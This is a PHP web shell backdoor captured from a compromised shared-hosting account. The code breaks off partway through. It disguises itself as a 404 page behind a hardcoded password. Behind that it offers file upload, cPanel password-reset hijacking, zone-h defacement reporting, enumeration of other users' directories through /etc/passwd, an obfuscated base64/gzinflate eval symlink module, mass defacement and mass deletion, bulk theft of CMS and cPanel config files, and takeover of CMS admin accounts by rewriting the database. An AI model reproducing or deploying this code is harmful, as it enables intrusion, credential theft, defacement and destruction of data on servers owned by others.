HEX
Server: Apache
System: Linux ecngx285.inmotionhosting.com 4.18.0-553.79.1.lve.el8.x86_64 #1 SMP Wed Oct 15 17:59:35 UTC 2025 x86_64
User: zeusxp5 (3862)
PHP: 8.3.28
Disabled: NONE
Upload Files
File: /home/zeusxp5/chuair.org/index.php.tar
home/zeusxp5/chuair.org/index.php000064400000140021151240641570013003 0ustar00<?php 
// PRIVATE SHELL BACKDOOR RAFLIWEBSITE
// Silence Because Yourself

error_reporting(0);
header('HTTP/1.0 404 Not Found', true, 404);
session_start();
$pass = "193312311,rx";
$link = "fvck.txt";
if($_POST['password'] == $pass) {
  $_SESSION['forbidden'] = $pass;
  echo "<script>window.location='?zet'</script>";
}
if($_GET['page'] == "blank") {
  echo "<a href='?'>Back</a>";
  exit();
}
if(isset($_REQUEST['logout'])) {
  session_destroy();
  echo "<script>window.location='?zet'</script>";
}
if(!($_SESSION['forbidden'])) {
?>
<title>404 Not Found</title>
<meta name="theme color" content="black"> </meta>
<link href="https://fonts.googleapis.com/css?family=Patrick+Hand" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Oxanium&display=swap" rel="stylesheet">

<html>
<head>
	<title>WELCOME SIR RAFLI</title>
<meta charset="UTF-8"> <meta name="Author" content="RafliWebsite" /> <meta name="copyright" content="|22XC|" /<meta name="description" content="BogorCodersTeam" />
</head>
<style>
	input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<body bgcolor="white">
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>

	<form method="post">
		<input type="password" name="password" placeholder="">
		<br>
		<br>
		<?php echo $_SESSIOM['forbidden']; ?>
	    </form>
	  </td>
	 </table>

<?php 

exit();
}
 ?>
<?php
error_reporting(0);
set_time_limit(0);

if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
echo '<!DOCTYPE HTML>
<html>
<head>
  <link href="https://fonts.googleapis.com/css?family=Black+Ops+One" rel="stylesheet">
  <link href="https://fonts.googleapis.com/css?family=Merienda" rel="stylesheet">
  <link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css">
<link href="https://fonts.googleapis.com/css?family=Sedgwick+Ave+Display" rel="stylesheet">
<title>WELCOME SIR RAFLI</title>
<meta property="og:image" src="https://i.gifer.com/7jiL.gif"/>
<style>
body{
font-family: Kelly Slab;
background-color: black;
color:white;
}
#content tr:hover{
background-color: #00ddff;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: #00ddff;
color:white
}
table{
border: 1px #000000;
}
a{
color:white;
font-size: 19px;
text-decoration:none;
}
a:hover{
color:green;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 2px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
h2{
font-family:Kelly Slab;
font-size:25px;
color:white;
}
h3{
font-size:35px;
}
h4{
font-size:15px;
font-family:Kelly Slab;
color:white;
}
.destroy_table {;
  background:transparent;
  border:1px solid #00ddff;
  font-family:Kelly Slab;
    display:inline-block;
  cursor:pointer;
  color:yellow;
  font-size:17x;
  font-weight:bold;
  padding:3px 20px;
  text-decoration:white;
  text-shadow:0px 0px 0px #ff0505;
       }
       .td_table {;
  background-color: #000000;
            background-image: url(https://i.gifer.com/7jiL.gif);
            background-repeat: no-repeat;
            background-attachment: fixed;
            background-size: 100%  100%;   
border: 1px solid gold; 
padding: 0px; 
margin-left: 2px; 
text-align: center;
}
     .potext {
  border: 1px solid #ffffff;
  width: 100%;
  height: 400px;
  padding-left: 5px;
  margin: 10px auto;
  resize: none;
  background-color: #000000;
            background-image: url(https://i.gifer.com/7jiL.gif);
            background-repeat: no-repeat;
            background-attachment: fixed;
            background-size: 100%  100%;   
  color: #ffffff;
  font-family:Kelly Slab;
  font-size: 13px;
}
.pl{
background:transparent; 
border: 1px solid red; 
padding: 5px; 
margin-left: 20px; 
text-align: center;
}
.pt{
background:transparent; 
border: 1px solid red; 
padding: 5px; 
margin-left: 20px; 
text-align: left;
}
</style>
</head>
<body>
<center>
<br>
<font face="Kelly Slab" color="white" size="7px">WELCOME SIR RAFLI</font><br>
</h1></center>
<center><b><font face="courier new" color="white" size="5">@rafliwebsite</font></b></center>
<marquee><b><fonte face="courier new" color="white" size="4">BogorCodersTeam - LulzSec - PhantomSec1337 - DestroySec1337</font></b></marquee>
<center><audio autoplay="autoplay" controls="controls" src="https://k.top4top.io/m_30344dqm10.mp3" type="audio/mpeg"></audio></center>
<table width="100%" border="0" cellpadding="0" cellspacing="0" align="left">
<tr><td>';
echo "<tr><td><font color='white'>
+ Your IP    <td>: <font color='LightBlue'>".$_SERVER['REMOTE_ADDR']."<tr><td><font color='white'>
+ IP Server  <td>: <font color='LightBlue'>".gethostbyname($_SERVER['HTTP_HOST'])."<tr><td><font color='white'>
+ System     <td>: <font color='LightBlue'>".php_uname()."<tr><td><font color='white'>
+ Coded By   <td>: <font color='LightBlue'>RafliWebsite<tr><td><font color='white'>
+ Github<td>: <font color='LightBlue'>rafliwebsite<tr><td><font color='white'>
+ Instagram <td>: <font color='LightBlue'>FoursDeathTeam</font></tr></td><br>
</table>";
echo '<table width="100%" border="0" cellpadding="0" cellspacing="0" align="center">
<center><tr align="center"><td align="center">path : ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}

if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="yellow">UPLOADED SUCCES !!!!!</script><br/>';
}else{
echo '<script> alert("UPLOADED FAILED COK !!!!!")</script></font><br/>';
}
}
echo '</tr><tr align="center"><td align="center"><form enctype="multipart/form-data" method="POST">
<font color="white"><br><b></font><input type="file"name="file" style="widht:900px;font-family:Kelly Slab;font-size:20;background:transparent;color:white;border:2px solid red;"/>
<input type="submit" value="Upload" style="margin-top:4px;width:150px;font-family:Kelly Slab;font-size:20;background:transparent;color:white;border:2px solid red;border-radius:5px"/><br><br>
</form></center>';
echo "</td></tr>";
echo "</table>";
echo "<center>";
echo "<center><table id='menu' width='990' border='0' cellpadding='0' cellspacing='0'><tr><td>";
echo "<a class='destroy_table' href='?'>Home</a>";
echo "<a class='destroy_table' href='?dir=$dir&do=cmd'>cp_reset_pw</a>";
echo "<a class='destroy_table' href='?logout=true'>Logout</a>";
echo "<a class='destroy_table' href='?dir=$dir&to=zoneh'>Zone-h</a>";
echo "<a class='destroy_table' href='?dir=$dir&to=jumping'>Jumping</a>";
echo "<a class='destroy_table' href='?dir=$dir&to=sym'>Symlink</a>";
echo "<a class='destroy_table' href='?dir=$dir&to=mass'>Mass_deface</a>";
echo "<a class='destroy_table' href='?dir=$dir&to=masse'>Mass_delete</a><br>";
echo "<a class='destroy_table' href='?dir=$dir&to=config'>Config_grab</a>";
echo "<a class='destroy_table' href='?dir=$dir&do=auto_edit_user'>auto_edit_user</a>";
echo "<a class='destroy_table' href='?dir=$dir&do=endec'>End/Decode</a>";
echo "<a class='destroy_table' href='?dir=$dir&do=hashgen'>Hash Generator</a>";
echo "<a class='destroy_table' href='?dir=$dir&do=adminer'>Adminer</a>";
echo "<a class='destroy_table' href='?dir=$dir&to=cmd'>Command</a>";
echo "<a class='destroy_table' href='?dir=$dir&do=about'>About</a>";
echo "</center>";
if($_GET['do'] == 'cmd') {
	echo'<header> 
	<pre> 
	- Cpanel Reset Password</pre> 
	</header> 
	</center> 
	<form action="#" method="post"> 	 <input type="email" name="email" placeholder="Email Lu Tong" /> 	 <input type="submit" name="submit" value="Crack"/> 	 
	</form> 	 	 
	<br/><br/><br/> 
	</p>'; ?> <?php $IIIIIIIIIIII = get_current_user(); $IIIIIIIIIII1 = $_SERVER['HTTP_HOST']; $IIIIIIIIIIlI = getenv('REMOTE_ADDR'); if (isset($_POST['submit'])) { $email = $_POST['email']; $IIIIIIIIIIl1 = 'email:' . $email; $IIIIIIIIII1I = fopen('/home/' . $IIIIIIIIIIII . '/.cpanel/contactinfo', 'w'); fwrite($IIIIIIIIII1I, $IIIIIIIIIIl1); fclose($IIIIIIIIII1I); $IIIIIIIIII1I = fopen('/home/' . $IIIIIIIIIIII . '/.contactinfo', 'w'); fwrite($IIIIIIIIII1I, $IIIIIIIIIIl1); fclose($IIIIIIIIII1I); $IIIIIIIIIlIl = "https://"; $IIIIIIIIIlI1 = "2083"; $IIIIIIIIIllI = $IIIIIIIIIII1 . ':2083/resetpass?start=1'; $read_named_conf = @file('/home/' . $IIIIIIIIIIII . '/.cpanel/contactinfo'); if(!$read_named_conf) { echo "<h1>Gak Bisa Di Akses Sayang??</h1>
	<br><br> 
	</pre>
	</center>"; } else { echo "<center>Salin<br><br>
	</center>"; echo '<center><input type="text" value="' . $IIIIIIIIIIII . '" id="user"> <button onclick="username()">Salin User</button></center> <script>function username() { var copyText = document.getElementById("user"); copyText.select(); document.execCommand("copy"); } </script> '; echo '<br/><center><a target="_blank" href="' . $IIIIIIIIIlIl . '' . $IIIIIIIIIllI . '">Gass Disini</a><br><br></center>'; ;}}
	echo '</td></tr><tr><td>';
	}
 elseif($_GET['logout'] == true) {
	unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
	echo "<script>window.location='?';</script>";
}

if($_GET['to'] == 'zoneh') {
	if($_POST['submit']) {
		$domain = explode("\r\n", $_POST['url']);
		$nick =  $_POST['nick'];
		echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
		echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
		function zoneh($url,$nick) {
			$ch = curl_init("http://www.zone-h.com/notify/single");
				  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
				  curl_setopt($ch, CURLOPT_POST, true);
				  curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
			return curl_exec($ch);
				  curl_close($ch);
		}
		foreach($domain as $url) {
			$zoneh = zoneh($url,$nick);
			if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
				echo "$url -> <font color=lime>OK</font><br>";
			} else {
				echo "$url -> <font color=red>ERROR</font><br>";
			}
		}
	} else {
		echo "<center><form method='post'>
		<u>Defacer</u>: <br>
		<input type='text' name='nick' size='50' value='Mr.Z'><br>
		<u>Domains</u>: <br>
		<textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
		<input type='submit' name='submit' value='Submit' style='width: 450px;'>
		</form>";
	}
	echo "</center>";
} elseif($_GET['to'] == 'mass') {
	function sabun_massal($dir,$namafile,$isi_script) {
		if(is_writable($dir)) {
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				$dirc = "$dir/$dirb";
				$lokasi = $dirc.'/'.$namafile;
				if($dirb === '.') {
					file_put_contents($lokasi, $isi_script);
				} elseif($dirb === '..') {
					file_put_contents($lokasi, $isi_script);
				} else {
					if(is_dir($dirc)) {
						if(is_writable($dirc)) {
							echo "[<font color=lime>DONE</font>] $lokasi<br>";
							file_put_contents($lokasi, $isi_script);
							$idx = sabun_massal($dirc,$namafile,$isi_script);
						}
					}
				}
			}
		}
	}
	function sabun_biasa($dir,$namafile,$isi_script) {
		if(is_writable($dir)) {
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				$dirc = "$dir/$dirb";
				$lokasi = $dirc.'/'.$namafile;
				if($dirb === '.') {
					file_put_contents($lokasi, $isi_script);
				} elseif($dirb === '..') {
					file_put_contents($lokasi, $isi_script);
				} else {
					if(is_dir($dirc)) {
						if(is_writable($dirc)) {
							echo "[<font color=lime>DONE</font>] $dirb/$namafile<br>";
							file_put_contents($lokasi, $isi_script);
						}
					}
				}
			}
		}
	}
	if($_POST['start']) {
		if($_POST['tipe_sabun'] == 'mahal') {
			echo "<div style='margin: 5px auto; padding: 5px'>";
			sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
			echo "</div>";
		} elseif($_POST['tipe_sabun'] == 'murah') {
			echo "<div style='margin: 5px auto; padding: 5px'>";
			sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
			echo "</div>";
		}
	} else {
	echo "<center>";
	echo "<form method='post'>
	<font style='text-decoration: underline;'>Tipe Mass:</font><br>
	<input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
	<font style='text-decoration: underline;'>Folder:</font><br>
	<input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
	<font style='text-decoration: underline;'>Filename:</font><br>
	<input type='text' name='d_file' value='ini.html' style='width: 450px;' height='10'><br>
	<font style='text-decoration: underline;'>Index File:</font><br>
	<textarea name='script' style='width: 450px; height: 200px;'>By Mr.Z</textarea><br>
	<input type='submit' name='start' value='ENTOT COK!' style='width: 450px;'>
	</form></center>";
	} 
	}elseif($_GET['to'] == 'sym') {
echo '<hr>';
eval(gzinflate(base64_decode('7Vf/T9tGFP89Uv6Hx5HJ9kjtJKhrReKUrjCt0lakQrdJUEWOfcYeF591d8GklP997852SOME1C/SNqlIRM777vfl81468Zwx8EEqMRE0Z0FI7c7k9PjtH8dvz62jk1fvfj9+czZ5e3JyZr3vAiFd6OSBSpxhu9WJerMgzSSqH8YpozbxqAq9LJjRyA15FhMttbubKIVmZbuVxnat49y2W4ezqygVNvlA1UQuZqTbe/bsmVY5DJNPGIZGb2hoE5bBEwkeCM6VoXe0530MwTrJVcoxmtdZhLISfuGM8eJ0Mfstza7Q+1EqaKi4WBgBiGgYLNxEzdqtl1F0tsgpKHqjPMxBmoGbJzkYzq9BFjEq1pnt1mmgUhkv4GW2sEwguQ4j5jnNbAsNByG+tLS6VmGVgRaGX4hUYY5RulvG7gwP45BxWRK1KA0TDqTdGqlgyigELL3M/JBmCsOYchFR4e9jxRaM+laRRio5+Kn3w7DkPAk54+Jg9/nPPfwbWmNtRpjP6BNL41HMMwVG3GfpjIJMP1B/MD514Q13R55mj0eeij5H+Yib8n6h9jtJxZfqYqEZFnpN28N3J6ZXQz5HPR/6+C3mggZhsuxGCCRUz7oxsU+poJcpdiDPKOnWLOc2R/JkFqgwmQSM2dauFgBiuz86ZNfq1kb0Q5kIXc6YzWVi6yc0jIPGsEGUSGd2LXTef3/ee+84MIaB9t+ZYx4w1JzL9GZySVVezNPINkPGi4yKatKuMTGBpNIj7rqpZRdh8dfyh4kpc1gljoALdXpcVNiSfkZjpAaQCBr7ONL5gecVReGu+3aJV9eIBVL66kaNmzJLL8GKJy2nX/3c0hhiGbElr3ZtdTRkeRU2eBoIvITPqNdQ9vL5lKXhBGecWaACgZn0rcmUBdmV1YhxvX+qwKoOgtUyVtna2xve3d0tE+2ZaTXddkeZpLqQZ8enZ34JjpYpWY7uisgqmwFsI/DZWPhfh0J4DAvhATBE7joeQg2I8AAi9sclzsEWxDDdvr8R3R5R2YBKjzlpYtESieBTKALz3stkkZUuwV1LBHGAC6A3qbLJu8y8veKgZUEr7pjKQ5HoFtuJKccVq+mObiro6N0cY9vLimocGvyimhUIESzskqoDuoc3bNcLD2HthXNxcOF5UmOb7C511w2tng+knMYu3gq1BE690bjHv6UhxLz+AD5+hAbD96GnGfdufCDTNCMNok7ZX/2+F8sm7zoQHkunXraNGYi80KTN3EueJ1Q0eXJjIMZeNGsy5hJNISxtiSFW+ea3yjYxtAYi72aGub6Ig8nGC0yl2ZzeD5AekIcad8MueLDbVwBe69Wh1Ipk1fMjBmp03wruaw5Wsb0B7cvxC7bMnkbuJcbUc7EO4yWI65uVS9jB9P6ZZhEvJHFut6B1E6v11dpA6nucRq+fCdW93vNvANLt1lfD9AMYXZc4GVQFtq4GjO3vR4NlaeCUimsqRl4yGH8TWH999K9CuqKzHBNFyLCDR1kfH3vmaaBRXt/hKIRHp12xRz4Ybvl1b8+B2w5eePqH1NrNZwQq7MRzAUlO6cz14W+eYtkOrK4hu+Qiw6atK2GNpsIbW8M6tPLg1F+qBnyKRBOVWTuKSuXiICJsF+VKifN5vTaeditFTV4Zm6doamWZ1Ztsk9Wv2mTNNfZtdtj3BfZ9gf1/F9jaMG7YYSMvSq/xswqZDOeZNrsyl0bpDvSmg3v1Tfj3Ksgyji+MP5wVhXU0XHrQ5sr/F+N/AA==')));
} elseif($_GET['to'] == 'jumping') {
	$i = 0;
	echo "<div class='margin: 5px auto;'>";
	if(preg_match("/hsphere/", $dir)) {
		$urls = explode("\r\n", $_POST['url']);
		if(isset($_POST['jump'])) {
			echo "<pre>";
			foreach($urls as $url) {
				$url = str_replace(array("http://","www."), "", strtolower($url));
				$etc = "/etc/passwd";
				$f = fopen($etc,"r");
				while($gets = fgets($f)) {
					$pecah = explode(":", $gets);
					$user = $pecah[0];
					$dir_user = "/hsphere/local/home/$user";
					if(is_dir($dir_user) === true) {
						$url_user = $dir_user."/".$url;
						if(is_readable($url_user)) {
							$i++;
							$jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
							if(is_writable($url_user)) {
								$jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
							}
							echo $jrw."<br>";
						}
					}
				}
			}
		if($i == 0) { 
		} else {
			echo "<br>Total ada ".$i." Kamar di ".$ip;
		}
		echo "</pre>";
		} else {
			echo '<center>
				  <form method="post">
				  List Domains: <br>
				  <textarea name="url" style="width: 500px; height: 250px;">';
			$fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
			while($getss = fgets($fp)) {
				echo $getss;
			}
			echo  '</textarea><br>
				  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
				  </form></center>';
		}
	} elseif(preg_match("/vhosts|vhost/", $dir)) {
		preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
		$urls = explode("\r\n", $_POST['url']);
		if(isset($_POST['jump'])) {
			echo "<pre>";
			foreach($urls as $url) {
				$url = str_replace("www.", "", $url);
				$web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
				if(is_dir($web_vh) === true) {
					if(is_readable($web_vh)) {
						$i++;
						$jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
						if(is_writable($web_vh)) {
							$jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
						}
						echo $jrw."<br>";
					}
				}
			}
		if($i == 0) { 
		} else {
			echo "<br>Total ada ".$i." Kamar di ".$ip;
		}
		echo "</pre>";
		} else {
			echo '<center>
				  <form method="post">
				  List Domains: <br>
				  <textarea name="url" style="width: 500px; height: 250px;">';
				  bing("ip:$ip");
			echo  '</textarea><br>
				  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
				  </form></center>';
		}
	} else {
		echo "<pre>";
		$etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
		while($passwd = fgets($etc)) {
			if($passwd == '' || !$etc) {
				echo "<font color=red>Can't read /etc/passwd</font>";
			} else {
				preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
				foreach($user_jumping[1] as $user_idx_jump) {
					$user_jumping_dir = "/home/$user_idx_jump/public_html";
					if(is_readable($user_jumping_dir)) {
						$i++;
						$jrw = "[<font color=limeBlue>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
						if(is_writable($user_jumping_dir)) {
							$jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
						}
						echo $jrw;
						if(function_exists('posix_getpwuid')) {
							$domain_jump = file_get_contents("/etc/named.conf");	
							if($domain_jump == '') {
								echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
							} else {
								preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
								foreach($domains_jump[1] as $dj) {
									$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
									$user_jumping_url = $user_jumping_url['name'];
									if($user_jumping_url == $user_idx_jump) {
										echo " => ( <u>$dj</u> )<br>";
										break;
									}
								}
							}
						} else {
							echo "<br>";
						}
					}
				}
			}
		}
		if($i == 0) { 
		} else {
			echo "<br>Total ada ".$i." Kamar di ".$ip;
		}
		echo "</pre>";
	}
	echo "</div>";
}  //MASS DELETE/////////////////////////
elseif($_GET['to'] == 'masse') {
   function hapus_massal($dir,$namafile) {
if(is_writable($dir)) {
   $dira = scandir($dir);
   foreach($dira as $dirb) {
       $dirc = "$dir/$dirb";
       $lokasi = $dirc.'/'.$namafile;
       if($dirb === '.') {
           if(file_exists("$dir/$namafile")) {
               unlink("$dir/$namafile");
           }
       } elseif($dirb === '..') {
           if(file_exists("".dirname($dir)."/$namafile")) {
               unlink("".dirname($dir)."/$namafile");
           }
       } else {
           if(is_dir($dirc)) {
               if(is_writable($dirc)) {
                   if(file_exists($lokasi)) {
                       echo "[<font color=#52CF38>Terhapus</font>] $lokasi<br>";
                       unlink($lokasi);
                       $idx = hapus_massal($dirc,$namafile);
                   }
               }
           }
       }
   }
}
   }
   if($_POST['start']) {
echo "<div style='margin: 5px auto; padding: 5px'>";
hapus_massal($_POST['d_dir'], $_POST['d_file']);
echo "</div>";
   } else {
   echo "<center>";
   echo "<form method='post'>
   <font>Folder :</font><br>
   <input type='text' name='d_dir' value='$path' style='width: 450px;' height='10'><br>
   <font>Filename :</font><br>
   <input type='text' name='d_file' value='nyawa lu aja mass delete gan:v' style='width: 450px;' height='10'><br>
   <input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
   </form></center>";
   }
   //CONFIG///////////
   } elseif($_GET['to'] == 'config') {
   $etc = fopen("/etc/passwd", "r") or die("<pre><font color=#666>Can't read /etc/passwd</font></pre>");
   $idx = mkdir("zet_CONFIG", 0777);
   $isi_htc = "Options all\nRequire None\nSatisfy Any";
   $htc = fopen("zet_CONFIG/.htaccess","w");
   fwrite($htc, $isi_htc);
   while($passwd = fgets($etc)) {
   if($passwd == "" || !$etc) {
   echo "<font color=#666>Can't read /etc/passwd</font>";
   } else {
   preg_match_all('/(.*?):x:/', $passwd, $user_config);
   foreach($user_config[1] as $user_3X0RC1ST) {
   $user_config_dir = "/home/$user_zet/public_html/";
   if(is_readable($user_config_dir)) {
   $grab_config = array(
   "/home/$user_zet/.my.cnf" => "cpanel",
   "/home/$user_zet/.accesshash" => "WHM-accesshash",
   "/home/$user_zet/public_html/vdo_config.php" => "Voodoo",
   "/home/$user_zet/public_html/bw-configs/config.ini" => "BosWeb",
   "/home/$user_zet/public_html/config/koneksi.php" => "Lokomedia",
   "/home/$user_zet/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
   "/home/$user_zet/public_html/clientarea/configuration.php" => "WHMCS",
   "/home/$user_zet/public_html/whm/configuration.php" => "WHMCS",
   "/home/$user_zet/public_html/whmcs/configuration.php" => "WHMCS",
   "/home/$user_zet/public_html/forum/config.php" => "phpBB",
   "/home/$user_zet/public_html/sites/default/settings.php" => "Drupal",
   "/home/$user_zet/public_html/config/settings.inc.php" => "PrestaShop",
   "/home/$user_zet/public_html/app/etc/local.xml" => "Magento",
   "/home/$user_zet/public_html/joomla/configuration.php" => "Joomla",
   "/home/$user_zet/public_html/configuration.php" => "Joomla",
   "/home/$user_zet/public_html/wp/wp-config.php" => "WordPress",
   "/home/$user_zet/public_html/wordpress/wp-config.php" => "WordPress",
   "/home/$user_zet/public_html/wp-config.php" => "WordPress",
   "/home/$user_zet/public_html/admin/config.php" => "OpenCart",
   "/home/$user_zet/public_html/slconfig.php" => "Sitelok",
   "/home/$user_zet/public_html/application/config/database.php" => "Ellislab");
   foreach($grab_config as $config => $nama_config) {
   $ambil_config = file_get_contents($config);
   if($ambil_config == '') {
   } else {	
   $file_config = fopen("3X0RC1ST_CONFIG/$user_jefri-$nama_config.txt","w");
   fputs($file_config,$ambil_config);
   }
   }
   }      
   }
   }  
   }
   echo "<center><a href='?path=$path/3X0RC1ST_CONFIG'><font color=#52CF38>Selesai!</font></a></center>";
 
 } elseif($_GET['do'] == 'auto_edit_user') {
 if($_POST['hajar']) {
 if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
 echo "username atau password harus lebih dari 6 karakter";
 } else {
 $user_baru = $_POST['user_baru'];
 $pass_baru = md5($_POST['pass_baru']);
 $conf = $_POST['config_dir'];
 $scan_conf = scandir($conf);
 foreach($scan_conf as $file_conf) {
 if(!is_file("$conf/$file_conf")) continue;
 $config = file_get_contents("$conf/$file_conf");
 if(preg_match("/JConfig|joomla/",$config)) {
 $dbhost = ambilkata($config,"host = '","'");
 $dbuser = ambilkata($config,"user = '","'");
 $dbpass = ambilkata($config,"password = '","'");
 $dbname = ambilkata($config,"db = '","'");
 $dbprefix = ambilkata($config,"dbprefix = '","'");
 $prefix = $dbprefix."users";
 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
 $db = mysql_select_db($dbname);
 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
 $result = mysql_fetch_array($q);
 $id = $result['id'];
 $site = ambilkata($config,"sitename = '","'");
 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
 echo "Config => ".$file_conf."<br>";
 echo "CMS => Joomla<br>";
 if($site == '') {
 echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
 } else {
 echo "Sitename => $site<br>";
 }
 if(!$update OR !$conn OR !$db) {
 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
 } else {
 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
 }
 mysql_close($conn);
 } elseif(preg_match("/WordPress/",$config)) {
 $dbhost = ambilkata($config,"DB_HOST', '","'");
 $dbuser = ambilkata($config,"DB_USER', '","'");
 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
 $dbname = ambilkata($config,"DB_NAME', '","'");
 $dbprefix = ambilkata($config,"table_prefix  = '","'");
 $prefix = $dbprefix."users";
 $option = $dbprefix."options";
 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
 $db = mysql_select_db($dbname);
 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
 $result = mysql_fetch_array($q);
 $id = $result[ID];
 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
 $result2 = mysql_fetch_array($q2);
 $target = $result2[option_value];
 if($target == '') {
 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
 } else {
 $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
 }
 $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
 echo "Config => ".$file_conf."<br>";
 echo "CMS => Wordpress<br>";
 echo $url_target;
 if(!$update OR !$conn OR !$db) {
 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
 } else {
 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
 }
 mysql_close($conn);
 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
 $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
 $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
 $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
 $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
 $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
 $prefix = $dbprefix."admin_user";
 $option = $dbprefix."core_config_data";
 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
 $db = mysql_select_db($dbname);
 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
 $result = mysql_fetch_array($q);
 $id = $result[user_id];
 $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
 $result2 = mysql_fetch_array($q2);
 $target = $result2[value];
 if($target == '') {
 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
 } else {
 $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
 }
 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
 echo "Config => ".$file_conf."<br>";
 echo "CMS => Magento<br>";
 echo $url_target;
 if(!$update OR !$conn OR !$db) {
 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
 } else {
 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
 }
 mysql_close($conn);
 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
 $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
 $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
 $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
 $dbname = ambilkata($config,"'DB_DATABASE', '","'");
 $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
 $prefix = $dbprefix."user";
 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
 $db = mysql_select_db($dbname);
 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
 $result = mysql_fetch_array($q);
 $id = $result[user_id];
